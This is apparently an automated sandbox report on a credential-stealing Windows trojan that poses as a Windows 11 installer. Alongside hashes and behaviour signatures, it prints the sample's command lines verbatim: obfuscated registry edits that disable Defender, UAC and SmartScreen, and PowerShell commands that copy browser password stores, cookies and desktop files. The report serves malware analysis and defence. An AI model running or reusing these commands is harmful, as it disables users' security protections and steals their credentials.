Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-11-2024 23:57

General

  • Target

    Trojan.Win32.DelShad.exe

  • Size

    30.2MB

  • MD5

    52cc1d2fbc403848c18f3c95dd63d727

  • SHA1

    9c5067b86ffc4ab6908aea7d9adf0b82353db3af

  • SHA256

    a9883030a711aebd2ec7faff0091135ee590a0e6ac613a963f55e43edc00c595

  • SHA512

    7e59c7ae07bca570ce162633cfac5817bc6f012168afa3a24def0c95fef3c3251648a560761e9d967db36b31e437dbd2ed2ac884d62d4c4ee61a808a830754a0

  • SSDEEP

    393216:jQV5xOYevAex37XtjUIahEeBLQV5xOYevAex37XtjUIahEeBLQV5xOYevAex37Xq:cj8579oIIaj8579oIIaj8579oIIF

Malware Config

Signatures

  • Modifies Windows Defender notification settings 3 TTPs 3 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • Windows security bypass 2 TTPs 7 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Disables use of System Restore points 1 TTPs
  • Drops file in Drivers directory 1 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 17 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 20 IoCs
  • Suspicious behavior: EnumeratesProcesses 58 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.DelShad.exe
    "C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.DelShad.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4544
    • C:\Users\Admin\AppData\Local\Temp\is-EJVTG.tmp\Trojan.Win32.DelShad.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-EJVTG.tmp\Trojan.Win32.DelShad.tmp" /SL5="$70050,9723063,876544,C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.DelShad.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:944
      • C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.DelShad.exe
        "C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.DelShad.exe" /verysilent /sp-
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2388
        • C:\Users\Admin\AppData\Local\Temp\is-HIRIH.tmp\Trojan.Win32.DelShad.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-HIRIH.tmp\Trojan.Win32.DelShad.tmp" /SL5="$80050,9723063,876544,C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.DelShad.exe" /verysilent /sp-
          4⤵
          • Drops startup file
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4104
          • C:\Windows\SysWOW64\taskkill.exe
            "C:\Windows\system32\taskkill.exe" /f /im "Windows11InstaIIation.scr"
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2940
          • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\pik.exe
            "C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\pik.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:4212
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\.cmd""
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2612
            • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe
              rp.EXE /sw:0 rEG.EXE add "hklM\soFtwarE\mIcroSoFT\WINdows dEfEndEr\ExclUSiOnS\EXTENsiONs" /V SCr /T rEG_dWOrd /d 0 /F
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5020
              • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe
                "C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe" /sw:0 rEG.EXE add "hklM\soFtwarE\mIcroSoFT\WINdows dEfEndEr\ExclUSiOnS\EXTENsiONs" /V SCr /T rEG_dWOrd /d 0 /F
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4232
                • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe
                  "C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe" /TI/ /sw:0 rEG.EXE add "hklM\soFtwarE\mIcroSoFT\WINdows dEfEndEr\ExclUSiOnS\EXTENsiONs" /V SCr /T rEG_dWOrd /d 0 /F
                  8⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Modifies data under HKEY_USERS
                  PID:1180
                  • C:\Windows\system32\rEG.EXE
                    "C:\Windows\system32\rEG.EXE" add "hklM\soFtwarE\mIcroSoFT\WINdows dEfEndEr\ExclUSiOnS\EXTENsiONs" /V SCr /T rEG_dWOrd /d 0 /F
                    9⤵
                    • Windows security bypass
                    PID:3540
            • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe
              rP.EXE /sW:0 rEg.EXE Add "hKLM\sOFTWArE\mIcrOsofT\WindoWS dEFEndEr\ExClUsions\ExTEnSIOns" /V Cmd /T rEg_dword /d 0 /f
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4056
              • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe
                "C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe" /sW:0 rEg.EXE Add "hKLM\sOFTWArE\mIcrOsofT\WindoWS dEFEndEr\ExClUsions\ExTEnSIOns" /V Cmd /T rEg_dword /d 0 /f
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1844
                • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe
                  "C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe" /TI/ /sW:0 rEg.EXE Add "hKLM\sOFTWArE\mIcrOsofT\WindoWS dEFEndEr\ExClUsions\ExTEnSIOns" /V Cmd /T rEg_dword /d 0 /f
                  8⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Modifies data under HKEY_USERS
                  PID:4968
                  • C:\Windows\system32\rEg.EXE
                    "C:\Windows\system32\rEg.EXE" Add "hKLM\sOFTWArE\mIcrOsofT\WindoWS dEFEndEr\ExClUsions\ExTEnSIOns" /V Cmd /T rEg_dword /d 0 /f
                    9⤵
                    • Windows security bypass
                    PID:4476
            • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe
              rP.EXE /SW:0 rEg.EXE Add "hKlm\SofTWArE\mIcrosOfT\windOwS dEfENdEr\EXClUSiOnS\ExtEnSIOns" /V EXE /t rEg_dwOrd /d 0 /F
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3720
              • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe
                "C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe" /SW:0 rEg.EXE Add "hKlm\SofTWArE\mIcrosOfT\windOwS dEfENdEr\EXClUSiOnS\ExtEnSIOns" /V EXE /t rEg_dwOrd /d 0 /F
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:1636
                • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe
                  "C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe" /TI/ /SW:0 rEg.EXE Add "hKlm\SofTWArE\mIcrosOfT\windOwS dEfENdEr\EXClUSiOnS\ExtEnSIOns" /V EXE /t rEg_dwOrd /d 0 /F
                  8⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Modifies data under HKEY_USERS
                  PID:4856
                  • C:\Windows\system32\rEg.EXE
                    "C:\Windows\system32\rEg.EXE" Add "hKlm\SofTWArE\mIcrosOfT\windOwS dEfENdEr\EXClUSiOnS\ExtEnSIOns" /V EXE /t rEg_dwOrd /d 0 /F
                    9⤵
                    • Windows security bypass
                    PID:3444
            • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe
              rp.EXE /Sw:0 rEG.EXE Add "hklM\SoftwarE\MicroSOfT\windoWS dEfENdEr" /v pUAProTECTiOn /t rEG_dWOrd /d 0 /f
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1812
              • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe
                "C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe" /Sw:0 rEG.EXE Add "hklM\SoftwarE\MicroSOfT\windoWS dEfENdEr" /v pUAProTECTiOn /t rEG_dWOrd /d 0 /f
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:4208
                • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe
                  "C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe" /TI/ /Sw:0 rEG.EXE Add "hklM\SoftwarE\MicroSOfT\windoWS dEfENdEr" /v pUAProTECTiOn /t rEG_dWOrd /d 0 /f
                  8⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Modifies data under HKEY_USERS
                  PID:4628
                  • C:\Windows\system32\rEG.EXE
                    "C:\Windows\system32\rEG.EXE" Add "hklM\SoftwarE\MicroSOfT\windoWS dEfENdEr" /v pUAProTECTiOn /t rEG_dWOrd /d 0 /f
                    9⤵
                      PID:2012
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\.cmd""
              5⤵
              • System Location Discovery: System Language Discovery
              PID:4232
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c CUrL -S ipINFO.io/Ip
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2112
                • C:\Windows\SysWOW64\curl.exe
                  CUrL -S ipINFO.io/Ip
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:4220
            • C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIation.scr
              "C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIation.scr"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:2516
              • C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIation.sCr
                "C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIation.sCr"
                6⤵
                • Checks BIOS information in registry
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Checks processor information in registry
                • Enumerates system info in registry
                PID:1500
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/43mkyhds.Admin\logins.json\" \"C:\Users\Admin\AppData\Local\Temp\otu1nf8f1aiuixcc240662078.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/43mkyhds.Admin\key3.db\" \"C:\Users\Admin\AppData\Local\Temp\t9h98yemuyztdw240662078.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/43mkyhds.Admin\key4.db\" \"C:\Users\Admin\AppData\Local\Temp\daa28abfmq5240662078.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/43mkyhds.Admin\cert9.db\" \"C:\Users\Admin\AppData\Local\Temp\tj1lvkk7k240662078.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/43mkyhds.Admin\prefs.js\" \"C:\Users\Admin\AppData\Local\Temp\eyoc8n14idxv240662078.tmp\" -Force"
                  7⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3720
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\\Profiles/43mkyhds.Admin\formhistory.sqlite\" \"C:\Users\Admin\AppData\Local\Temp\5b3nneef5a1240677406.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\\Profiles/43mkyhds.Admin\cookies.sqlite\" \"C:\Users\Admin\AppData\Local\Temp\8l46la0gojeru240677406.tmp\" -Force"
                  7⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3836
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/7fmsgkth.default-release\logins.json\" \"C:\Users\Admin\AppData\Local\Temp\ohs8a31fx4mtk240699406.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/7fmsgkth.default-release\key3.db\" \"C:\Users\Admin\AppData\Local\Temp\61mtomzkbt02ht1240699406.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/7fmsgkth.default-release\key4.db\" \"C:\Users\Admin\AppData\Local\Temp\qtc9j1wbnrqd240699406.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/7fmsgkth.default-release\cert9.db\" \"C:\Users\Admin\AppData\Local\Temp\4l3szsqpghx240699406.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/7fmsgkth.default-release\prefs.js\" \"C:\Users\Admin\AppData\Local\Temp\s0g722c9e4j4ta1w240699406.tmp\" -Force"
                  7⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4168
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\\Profiles/7fmsgkth.default-release\formhistory.sqlite\" \"C:\Users\Admin\AppData\Local\Temp\ru85pw6tqsjob9j240705343.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\\Profiles/7fmsgkth.default-release\cookies.sqlite\" \"C:\Users\Admin\AppData\Local\Temp\kbvc7t58g7u3ky240705343.tmp\" -Force"
                  7⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1552
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/43mkyhds.Admin\logins.json\" \"C:\Users\Admin\AppData\Local\Temp\eh3f6tu9lk240710578.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/43mkyhds.Admin\key3.db\" \"C:\Users\Admin\AppData\Local\Temp\ntt3qcho6f240710578.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/43mkyhds.Admin\key4.db\" \"C:\Users\Admin\AppData\Local\Temp\xrk0ql2wlekasq240710578.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/43mkyhds.Admin\cert9.db\" \"C:\Users\Admin\AppData\Local\Temp\1l01qph8240710578.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/43mkyhds.Admin\prefs.js\" \"C:\Users\Admin\AppData\Local\Temp\glwg4n1s240710578.tmp\" -Force"
                  7⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1680
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\\Profiles/43mkyhds.Admin\formhistory.sqlite\" \"C:\Users\Admin\AppData\Local\Temp\3hcz52mjwq240719546.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\\Profiles/43mkyhds.Admin\cookies.sqlite\" \"C:\Users\Admin\AppData\Local\Temp\y88z1j32vusu172m240719546.tmp\" -Force"
                  7⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1568
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/7fmsgkth.default-release\logins.json\" \"C:\Users\Admin\AppData\Local\Temp\8yuq9a72u6m1wcn240728109.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/7fmsgkth.default-release\key3.db\" \"C:\Users\Admin\AppData\Local\Temp\t4z4yu15iu595z240728109.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/7fmsgkth.default-release\key4.db\" \"C:\Users\Admin\AppData\Local\Temp\5koqj2nxry240728109.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/7fmsgkth.default-release\cert9.db\" \"C:\Users\Admin\AppData\Local\Temp\58tds0jd240728109.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/7fmsgkth.default-release\prefs.js\" \"C:\Users\Admin\AppData\Local\Temp\rz2ryztw8p3240728109.tmp\" -Force"
                  7⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3640
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\\Profiles/7fmsgkth.default-release\formhistory.sqlite\" \"C:\Users\Admin\AppData\Local\Temp\22zcsr95n0240734140.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\\Profiles/7fmsgkth.default-release\cookies.sqlite\" \"C:\Users\Admin\AppData\Local\Temp\613ouc67y2mn36240734140.tmp\" -Force"
                  7⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2624
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Local\Google\Chrome\user Data\Default\Login Data\" \"C:\Users\Admin\AppData\Local\Temp\i9ovez9w3s3240740437.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\Google\Chrome\user Data\Default\Web Data\" \"C:\Users\Admin\AppData\Local\Temp\44a6tcmrfbdc5240740437.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\Google\Chrome\user Data\Default\Network\Cookies\" \"C:\Users\Admin\AppData\Local\Temp\0mp2sm4y240740531.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\Google\Chrome\user Data\Default\..\Local State\" \"C:\Users\Admin\AppData\Local\Temp\8fkndkl8m240740531.tmp\" -Force"
                  7⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4380
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Local\Microsoft\edge\user Data\Default\Login Data\" \"C:\Users\Admin\AppData\Local\Temp\yaz0qkm4r81lkx240754171.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\Microsoft\edge\user Data\Default\Web Data\" \"C:\Users\Admin\AppData\Local\Temp\gu51pkiwl2r9240754171.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\Microsoft\edge\user Data\Default\Cookies\" \"C:\Users\Admin\AppData\Local\Temp\6t7u44zsw7k4i99240754265.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\Microsoft\edge\user Data\Default\..\Local State\" \"C:\Users\Admin\AppData\Local\Temp\ku2vwbo3c33240754265.tmp\" -Force"
                  7⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1836
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\Desktop\BlockUse.temp\" \"C:\Users\Admin\AppData\Local\Temp\fmxfkx2joq6ublbyu8yv.tmp\" -Force;cpi \"C:\Users\Admin\Desktop\CheckpointEnter.hta\" \"C:\Users\Admin\AppData\Local\Temp\g8hku1jq3xo4li210huykb.tmp\" -Force;cpi \"C:\Users\Admin\Desktop\CompressConfirm.aiff\" \"C:\Users\Admin\AppData\Local\Temp\f06htrgpgf0ohtgj5rgy3k.tmp\" -Force;cpi \"C:\Users\Admin\Desktop\ConvertMerge.vsd\" \"C:\Users\Admin\AppData\Local\Temp\6l9b9kap2qesbbxrepr.tmp\" -Force;cpi \"C:\Users\Admin\Desktop\DisableExport.rm\" \"C:\Users\Admin\AppData\Local\Temp\qijdw58b9daul52l035mwzlma61m1pkx.tmp\" -Force;cpi \"C:\Users\Admin\Desktop\EnableHide.clr\" \"C:\Users\Admin\AppData\Local\Temp\a4e9fv6a6tsuzj1ik.tmp\" -Force;cpi \"C:\Users\Admin\Desktop\EnterInitialize.vbe\" \"C:\Users\Admin\AppData\Local\Temp\vuqevmn7ikzd8qgl0cqknqdifrro5.tmp\" -Force;cpi \"C:\Users\Admin\Desktop\FindSplit.emz\" \"C:\Users\Admin\AppData\Local\Temp\6qtn8jrhn2szxgf4x0flac5t5c.tmp\" -Force;cpi \"C:\Users\Admin\Desktop\LimitSubmit.docx\" \"C:\Users\Admin\AppData\Local\Temp\2qj9ludo0g3451xxnp7mveo5c8e.tmp\" -Force;cpi \"C:\Users\Admin\Desktop\MeasureReceive.txt\" \"C:\Users\Admin\AppData\Local\Temp\2608x592qgmq9o0b8k4.tmp\" -Force;cpi \"C:\Users\Admin\Desktop\ReadHide.jtx\" \"C:\Users\Admin\AppData\Local\Temp\d2i01njhgda6z0ft9.tmp\" -Force"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4208
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\tmp\.vbs"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:208
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\tmp\.cmd" "
        2⤵
        • Drops file in Drivers directory
        • Suspicious use of WriteProcessMemory
        PID:552
        • C:\Windows\system32\reg.exe
          rEg Add "hKLm\sOftWare\microsOfT\windOws\CurrentVersiOn\polICIEs\sysTem" /v "COnsenTPrompTbEhAvIoradmin" /T rEG_dWOrd /d "0" /F
          3⤵
          • UAC bypass
          PID:4680
        • C:\Windows\system32\reg.exe
          reg add "hKlm\sOfTwArE\miCrosoFt\WindoWs\currEntVersIon\PoLiCIes\sysTem" /v "COnsEnTPromptbehavIOrUser" /t reG_dWord /d "0" /f
          3⤵
          • UAC bypass
          PID:4952
        • C:\Windows\system32\reg.exe
          rEg add "hKLm\soFtwArE\micrOsofT\WIndOWs\cUrrenTVersiOn\pOliCIes\system" /V "PromPTOnsECUredesKtoP" /t reG_dWOrd /d "0" /f
          3⤵
          • UAC bypass
          PID:2952
        • C:\Windows\system32\reg.exe
          reg add "hkLm\soFtwArE\PoliCIes\micrOsoFt\WIndows dEFender\spYneT" /v "sUBmITsAmPlEsConsEnt" /t reg_dWord /d "2" /f
          3⤵
            PID:2868
          • C:\Windows\system32\reg.exe
            reG Add "hKlm\softwAre\POlicIes\micrOsOfT\Windows dEfEnder\spyneT" /V "sPynetrePOrTIng" /t rEg_dwOrd /d "0" /f
            3⤵
              PID:5080
            • C:\Windows\system32\reg.exe
              reG Add "hKlm\sOftwArE\pOlIcies\micrOsOFT\WIndOws dEFEndEr" /v "pUAproteCTiOn" /T rEG_dWord /d "0" /F
              3⤵
                PID:748
              • C:\Windows\system32\reg.exe
                rEg add "hklm\sOfTware\PolIcIEs\micrOsofT\wIndOws dEfendEr\mPenGinE" /v "mpenABlEpUs" /T reg_dWord /d "0" /F
                3⤵
                  PID:2816
                • C:\Windows\system32\reg.exe
                  rEG Add "hkLm\sofTwAre\pOLiCIEs\miCrosoFT\WindoWs\sYstEm" /v "EnABLesmArTsCrEen" /t reG_dword /d "0" /F
                  3⤵
                    PID:5012
                  • C:\Windows\system32\reg.exe
                    reG Add "hKlm\sOFTWare\mIcrosoFT\windoWs\cUrrEntVErsiOn\eXPLOrer" /V "smArtscreenEnAblEd" /T reG_sz /d "off" /f
                    3⤵
                      PID:4856
                    • C:\Windows\system32\reg.exe
                      rEG Add "hklm\sOftware\PoLiciEs\microsoFT\mrt" /V "donTofFerthrOuGhWUAU" /T "reG_dwOrd" /d "1" /f
                      3⤵
                        PID:2852
                      • C:\Windows\system32\reg.exe
                        rEG Add "hklm\sOFTWare\polIcies\mICrOsoFt\mrt" /V "dontrEportInfECTIOnInFormAtion" /T "rEg_dWord" /d "1" /f
                        3⤵
                          PID:2180
                        • C:\Windows\system32\reg.exe
                          reG add "hKlm\sOFtWAre\poLICies\mIcrosoft\WindoWs defendEr\uX configuration" /V "notIficatIon_suPPrEss" /t reG_dwOrd /d "1" /f
                          3⤵
                            PID:2212
                          • C:\Windows\system32\reg.exe
                            rEG add "hklm\sOfTWArE\PoliCiEs\miCrosoFT\wIndoWs deFEndEr\WIndows deFender eXplOIT GUArd\ConTrolLed fOLdEr acCess" /v "enablEContrOlledfOLdEracCess" /t reg_dWord /d "0" /F
                            3⤵
                              PID:1572
                            • C:\Windows\system32\reg.exe
                              reG add "hkLm\soFTWare\PoLicies\microsOFT\wIndOws dEfEndEr\rEpOrTInG" /v "dIsAblEEnhAncednOtIFicaTiOns" /T rEG_dword /d "1" /f
                              3⤵
                                PID:5044
                              • C:\Windows\system32\reg.exe
                                reG add "hklm\sOFTwAre\micrOsOfT\WIndoWs defender sECuritY centEr\notIFICATions" /V "dIsablEEnhAncEdnOtiFiCatiOns" /t rEg_dWord /d "1" /F
                                3⤵
                                • Modifies Windows Defender notification settings
                                PID:4484
                              • C:\Windows\system32\reg.exe
                                reg add "hKLm\softWarE\mIcrosOFt\wIndows dEfender securitY centEr\vIrUs and ThreAT ProtECtIOn" /v "FIlesBLocKednOTIfiCAtiOndIsablEd" /t rEG_dwOrd /d "1" /F
                                3⤵
                                  PID:2704
                                • C:\Windows\system32\reg.exe
                                  rEG Add "hkLm\sofTware\miCrOsOFt\WIndoWs defEnder seCUriTY centEr\VIrus and threAT proTectiOn" /V "nOaCTIOnnOTIFiCAtIOndIsaBLed" /T rEG_dWord /d "1" /F
                                  3⤵
                                    PID:1184
                                  • C:\Windows\system32\reg.exe
